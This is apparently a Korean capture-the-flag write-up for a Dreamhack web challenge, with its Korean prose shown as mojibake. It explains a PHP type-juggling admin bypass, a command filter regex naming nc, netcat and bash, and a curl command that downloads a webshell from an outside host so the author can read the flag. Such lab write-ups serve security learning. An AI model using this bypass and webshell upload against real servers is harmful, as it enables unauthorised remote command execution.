1. ๋ฌธ์ œ

https://dreamhack.io/wargame/challenges/1081

 

Switching Command

Description Not Friendly service... Can you switching the command?

dreamhack.io

2. ํ•ด๊ฒฐ ๊ณผ์ •

(1) ๋ฌธ์ œ ํŽ˜์ด์ง€ ์ ‘์†

- username์„ ์ž…๋ ฅํ•˜๋Š” form ํ™”๋ฉด์ด ๋œฌ๋‹ค. 

 

์•„๋ฌด ์ •๋ณด๋‚˜ ์ž…๋ ฅํ•  ๊ฒฝ์šฐ fail ํ™”๋ฉด์ด ๋ณด์ธ๋‹ค. 

์ž…๋ ฅ๊ฐ’์„ ํ†ตํ•ด JSON ๋ฐ์ดํ„ฐ๋ฅผ ํŒŒ์‹ฑํ•ด์˜ค๋Š” ๋ฌธ์ œ๋กœ ๋ณด์ธ๋‹ค. 

 

(2) ๋ฌธ์ œ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ 

 

flag.c

ํ”Œ๋ž˜๊ทธ๋Š” flag.c ํŒŒ์ผ์„ ์‹คํ–‰์‹œํ‚ค๋ฉด ์ถœ๋ ฅ๋˜์–ด ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. 

#include <stdio.h>
void main()
{
puts("DH{**fake_flag**}\n");
}

 

์‹ค์ œ๋กœ ๋„์ปค ํŒŒ์ผ์„ ํ™•์ธํ•ด๋ณด๋ฉด flag.c ํŒŒ์ผ์„ ๋ฃจํŠธ ๋””๋ ‰ํ† ๋ฆฌ์— ๋ณต์‚ฌํ•œ ๋’ค ์‹คํ–‰ ํŒŒ์ผ์„ ์ƒ์„ฑํ•œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. (์ฝ๊ธฐ ์“ฐ๊ธฐ x)

์ฆ‰, ์šฐ๋ฆฌ๋Š” ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋ฃจํŠธ ๋””๋ ‰ํ† ๋ฆฌ์˜ ํ”Œ๋ž˜๊ทธ ์‹คํ–‰ ํŒŒ์ผ์„ ์‹คํ–‰์‹œ์ผœ์•ผ ํ•œ๋‹ค. 

 

FROM php:8.0-apache
RUN apt-get update && \
apt-get upgrade -y && \
apt-get install -y gcc curl netcat-traditional
RUN docker-php-ext-install mysqli
COPY ./deploy/src /var/www/html/
COPY ./flag.c /flag.c
RUN gcc /flag.c -o /flag && \
chmod 111 /flag && \
rm /flag.c
EXPOSE 80

 

index.php 

  1. "username" ํ•„๋“œ๋ฅผ JSON์œผ๋กœ ํŒŒ์‹ฑ
  2. JSON์—์„œ username ์†์„ฑ ์ถ”์ถœ
  3. username === "admin" : ์—„๊ฒฉํ•œ ๋น„๊ต ์—ฐ์‚ฐ์ž - ํƒ€์ž…๊นŒ์ง€ ์ผ์น˜ํ•  ๊ฒฝ์šฐ,  "no hack" ๋ฉ”์‹œ์ง€ ์ถœ๋ ฅ ํ›„ break
  4. switch ๋ฌธ์—์„œ username์„ ๋‹ค์‹œ ๊ฒ€์‚ฌ
    • "admin"์ผ ๊ฒฝ์šฐ, admin ๊ถŒํ•œ ๋ถ€์—ฌ
    • ๋‹ค๋ฅธ ๊ฐ’์ผ ๊ฒฝ์šฐ, guest ๊ถŒํ•œ ๋ถ€์—ฌ
if ($_SERVER["REQUEST_METHOD"]=="POST"){
$data = json_decode($_POST["username"]);
if ($data === null) {
exit("Failed to parse JSON data");
}
$username = $data->username;
if($username === "admin" ){
exit("no hack");
}
switch($username){
case "admin":
$user = "admin";
$password = "***REDACTED***";
$stmt = $conn -> prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt -> bind_param("ss",$user,$password);
$stmt -> execute();
$result = $stmt -> get_result();
if ($result -> num_rows == 1){
$_SESSION["auth"] = "admin";
header("Location: test.php");
} else {
$message = "Something wrong...";
}
break;
default:
$_SESSION["auth"] = "guest";
header("Location: test.php");
}
}

 

test.php

  • auth === "admin" : admin์ธ์ง€ ๊ฒ€์‚ฌ
  • ํ•„ํ„ฐ๋ง (flag|nc|netcat|bin|bash|rm|sh)
    • /i: ๋Œ€์†Œ๋ฌธ์ž ๊ตฌ๋ถ„ X
    • \b: ๋‹จ์–ด ๊ฒฝ๊ณ„๋กœ ๋๋‚˜์•ผ ํ•จ
    • \n : ์ค„๋ฐ”๊ฟˆ ๋ฐฉ์ง€ (๊ณต๋ฐฑ์œผ๋กœ ์ฒ˜๋ฆฌ)
    • preg_match ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด $sanitized_command(์‚ฌ์šฉ์ž ์ž…๋ ฅ ๋ช…๋ น์–ด)์—์„œ ํŒจํ„ด์ด ๋ฐœ๊ฒฌ๋˜๋ฉด true๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ณ , "No hack" ๋ฉ”์‹œ์ง€๋ฅผ ์ถœ๋ ฅํ•˜๊ณ  ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ข…๋ฃŒํ•œ๋‹ค.
  • escapeshellcmd(): ๋ช…๋ น์–ด์— ํฌํ•จ๋˜์–ด์žˆ๋Š” ์‰˜์—์„œ ํŠน๋ณ„ํ•œ ์˜๋ฏธ๋ฅผ ๊ฐ€์งˆ ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ž๋“ค์„ ์ด์Šค์ผ€์ดํ”„ํ•œ๋‹ค. 
    • cmd๋ฅผ ํ†ตํ•ด GET ์š”์ฒญ์„ ๋ฐ›์€  ๋ช…๋ น์–ด๋ฅผ shell_exec()๋กœ ์‹คํ–‰ํ•˜๊ณ  ๊ฒฐ๊ณผ๋ฅผ $resulttt ๋ณ€์ˆ˜์— ์ €์žฅํ•œ๋‹ค.
    • ์ด๋•Œ admin์˜ ๊ฒฝ์šฐ, ๋ณ€์ˆ˜๋ช…์ด resulttt์ด๊ณ  HTML ์ถœ๋ ฅ์—์„œ๋Š” result๋ฅผ ์‚ฌ์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ฒฐ๊ณผ๊ฐ€ ํ™”๋ฉด์— ์ •์ƒ์ ์œผ๋กœ ์ถœ๋ ฅ๋˜์ง€ ์•Š๋Š”๋‹ค. ์ฆ‰, ์‹คํ–‰์€ ๋˜์ง€๋งŒ ์‹คํ–‰ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์—†๋‹ค. 
    • ๋งŒ์•ฝ test.php์—์„œ ์‹คํ–‰ ๊ฒฐ๊ณผ๊ฐ€ ์ •์ƒ์ ์œผ๋กœ ๋ณด์—ฌ์ง„๋‹ค๋ฉด ๋‹จ์ˆœํžˆ ํ•„ํ„ฐ๋ง์„ ์šฐํšŒํ•ด์„œ flag๋ฅผ ์‹คํ–‰์‹œํ‚ค๋ฉด ๋˜์ง€๋งŒ, ์‹คํ–‰๋งŒ ๋˜๊ณ  ๊ฒฐ๊ณผ๋Š” ๋ณด์ด์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ๊ณ ์•ˆํ•ด์•ผ ํ•œ๋‹ค. 
  • auth === guest ์ธ ๊ฒฝ์šฐ์—๋Š” "echo hi guest" ๋ฌธ์ž์—ด์„ result์— ์ „๋‹ฌํ•˜์—ฌ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ด ๋ฌธ์ž์—ด์„ ์ถœ๋ ฅํ•œ๋‹ค. (์ž„์˜ ๋ช…๋ น๋ฌธ ์‹คํ–‰ ๋ถˆ๊ฐ€๋Šฅ)
<?php
include ("./config.php");
$pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i';
if($_SESSION["auth"] === "admin"){
$command = isset($_GET["cmd"]) ? $_GET["cmd"] : "ls";
$sanitized_command = str_replace("\n","",$command);
if (preg_match($pattern, $sanitized_command)){
exit("No hack");
}
$resulttt = shell_exec(escapeshellcmd($sanitized_command));
}
else if($_SESSION["auth"]=== "guest") {
$command = "echo hi guest";
$result = shell_exec($command);
}
else {
$result = "Authentication first";
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Command Test</title>
</head>
<body>
<h2>Command Test</h2>
<?php
echo "<pre>$result</pre>";
?>
</body>
</html>

 

 

์ด ๋ฌธ์ œ์˜ ์ œ๋ชฉ๊ณผ ์„ค๋ช…์—์„œ ์•ฝ๊ฐ„์˜ ์Šคํฌ??๊ฐ€ ์žˆ์—ˆ๋Š”๋ฐ ๋ฐ”๋กœ ์ด ์ž˜๋ชป๋œ ์ถœ๋ ฅ ์ฝ”๋“œ์— ๋Œ€ํ•œ ๊ฒƒ์ด๋‹ค. 

Not Friendly service... Can you switching the command?
 

๋”ฐ๋ผ์„œ ํ•„ํ„ฐ๋ง ์šฐํšŒ๋ฅผ ํ†ตํ•ด์„œ admin ๊ถŒํ•œ์„ ์–ป๊ณ , ํ™”๋ฉด์— ์ •์ƒ์ ์œผ๋กœ Result๊ฐ€ ์ถœ๋ ฅ๋˜๋„๋ก ํ•ด์•ผ ํ•œ๋‹ค. 

 

(3) ์ต์Šคํ”Œ๋กœ์ž‡

๋จผ์ € ํ•„ํ„ฐ๋ง์€ ๋Œ€์†Œ๋ฌธ์ž ๊ตฌ๋ถ„ ๋“ฑ์ด ์ ์šฉ๋˜์–ด์žˆ๊ธฐ ๋•Œ๋ฌธ์— {"username":Admin} ๋“ฑ๊ณผ ๊ฐ™์ด ์šฐํšŒํ•˜๊ณ ์ž ํ•˜๋ฉด ๊ฒŒ์ŠคํŠธ๋กœ ์ ‘๊ทผ๋œ๋‹ค. 

๋”ฐ๋ผ์„œ ๋‹ค๋ฅธ ์šฐํšŒ ๋ฐฉ๋ฒ•์„ ๊ณ ๋ คํ•ด์•ผ ํ•œ๋‹ค. 

 

 

ํ•„ํ„ฐ๋ง์€ if๋ฌธ๊ณผ switch ๋ฌธ์œผ๋กœ ์ด๋ฃจ์–ด์ ธ ์žˆ๋‹ค. 

์ด๋•Œ, PHP์˜ switch - case ๋ฌธ์€ ๋Š์Šจํ•œ ๋น„๊ต๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค. 

[์ฐธ๊ณ ] https://php.365ok.co.kr/control-structures.switch.php

if($username === "admin" ){
exit("no hack");
}
switch($username){
case "admin":

์ฆ‰,  ํ•„ํ„ฐ๋ง์€ 1) === ์—„๊ฒฉํ•œ ๋น„๊ต (ํƒ€์ž…๋„ ๋™์ผํ•œ ๊ฒฝ์šฐ์—๋งŒ ๊ฑธ๋ฆผ) 2) = ๋Š์Šจํ•œ ๋น„๊ต๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ณ  ์žˆ๋‹ค.

๋”ฐ๋ผ์„œ ์—„๊ฒฉํ•œ ๋น„๊ต๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ํƒ€์ž…์„ ๋‹ค๋ฅด๊ฒŒ ํ•ด์„œ false๋ฅผ ๋งŒ๋“ค์–ด๋‚ด๊ณ , 2๋ฒˆ์งธ ๋Š์Šจํ•œ ๋น„๊ต ์šฐํšŒ์—์„œ๋Š” ์ด์ „์— ๋‹ค๋ค„๋ณธ์ ์žˆ๋˜ 

type juggling ์ทจ์•ฝ์ ์„ ์ต์Šคํ”Œ๋กœ์ž‡ํ•˜์—ฌ true๋ฅผ ๋งŒ๋“ค๋ฉด ๋œ๋‹ค. 

 

์œ„์™€ ๊ฐ™์ด ๋ฌธ์ž์—ด๊ณผ true๋ฅผ ๋น„๊ตํ•˜๋ฉด true๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ฒŒ ๋˜๋ฏ€๋กœ ์ด๋ฅผ ์ด์šฉํ•ด์„œ {"username":true}๋ฅผ ์ž…๋ ฅํ•˜๋ฉด

์•„๋ž˜์˜ ์ด์œ ๋กœ admin ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค. 

  1. true === "admin"์€ ํƒ€์ž…์ด ๋‹ค๋ฅด๋ฏ€๋กœ(๋ถˆ๋ฆฌ์–ธ vs ๋ฌธ์ž์—ด) false ๋ฆฌํ„ด -> switch๋ฌธ ์ง„์ž… 
  2. switch($username): ๋ฌธ์ž์—ด๊ณผ true ๋น„๊ต -> true ๋ฐ˜ํ™˜ 

 

์–ด๋“œ๋ฏผ ๊ถŒํ•œ์„ ์–ป์—ˆ์œผ๋ฏ€๋กœ, ํ™”๋ฉด์— ๊ฒฐ๊ณผ๋Š” ๋ณด์ง€ ๋ชปํ•˜์ง€๋งŒ ์›ํ•˜๋Š” ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ฒŒ ๋œ๋‹ค. 

์ด๋Ÿด๋–„์—๋Š” ์›น์‰˜์„ ์—…๋กœ๋“œํ•˜๋Š” ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰์‹œํ‚จ ๋’ค, ์›น์‰˜์„ ํ†ตํ•ด ์›ํ•˜๋Š” ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•˜๋ฉด ๋œ๋‹ค. 

 

๋”ฐ๋ผ์„œ ์›น์‰˜์„ ์—…๋กœ๋“œํ•œ ๋’ค, ํ•ด๋‹น ๊ฒฝ๋กœ๋กœ ์ด๋™ํ•ด์„œ flagํŒŒ์ผ์„ ์‹คํ–‰ํ•˜์—ฌ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•  ๊ฒƒ์ด๋‹ค. 

๋จผ์ € curl ์„ ์ด์šฉํ•ด์„œ ๊ฐ„๋‹จํ•œ ์›น์‰˜์„ ์—…๋กœ๋“œ ํ•ด์ค€๋‹ค

/test.php?cmd=curl%20https://raw.githubusercontent.com/mnzy412/webshell/refs/heads/main/webshell%20-o%20shell.php

 

์ดํ›„ /shell.php ๋กœ ์ด๋™ํ•ด์ฃผ๋ฉด ์—…๋กœ๋“œํ•œ ์›น์‰˜์ด ์‹คํ–‰๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

์‹ค์ œ๋กœ ๋ฃจํŠธ ๋””๋ ‰ํ† ๋ฆฌ ์•„๋ž˜์— flag ์‹คํ–‰ ํŒŒ์ผ์ด ์กด์žฌํ•˜๋Š” ๊ฒƒ ๋˜ํ•œ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

๋”ฐ๋ผ์„œ, /flag ๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ์‹คํ–‰ํ•ด์ฃผ๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

mnzy๐ŸŒฑ
-->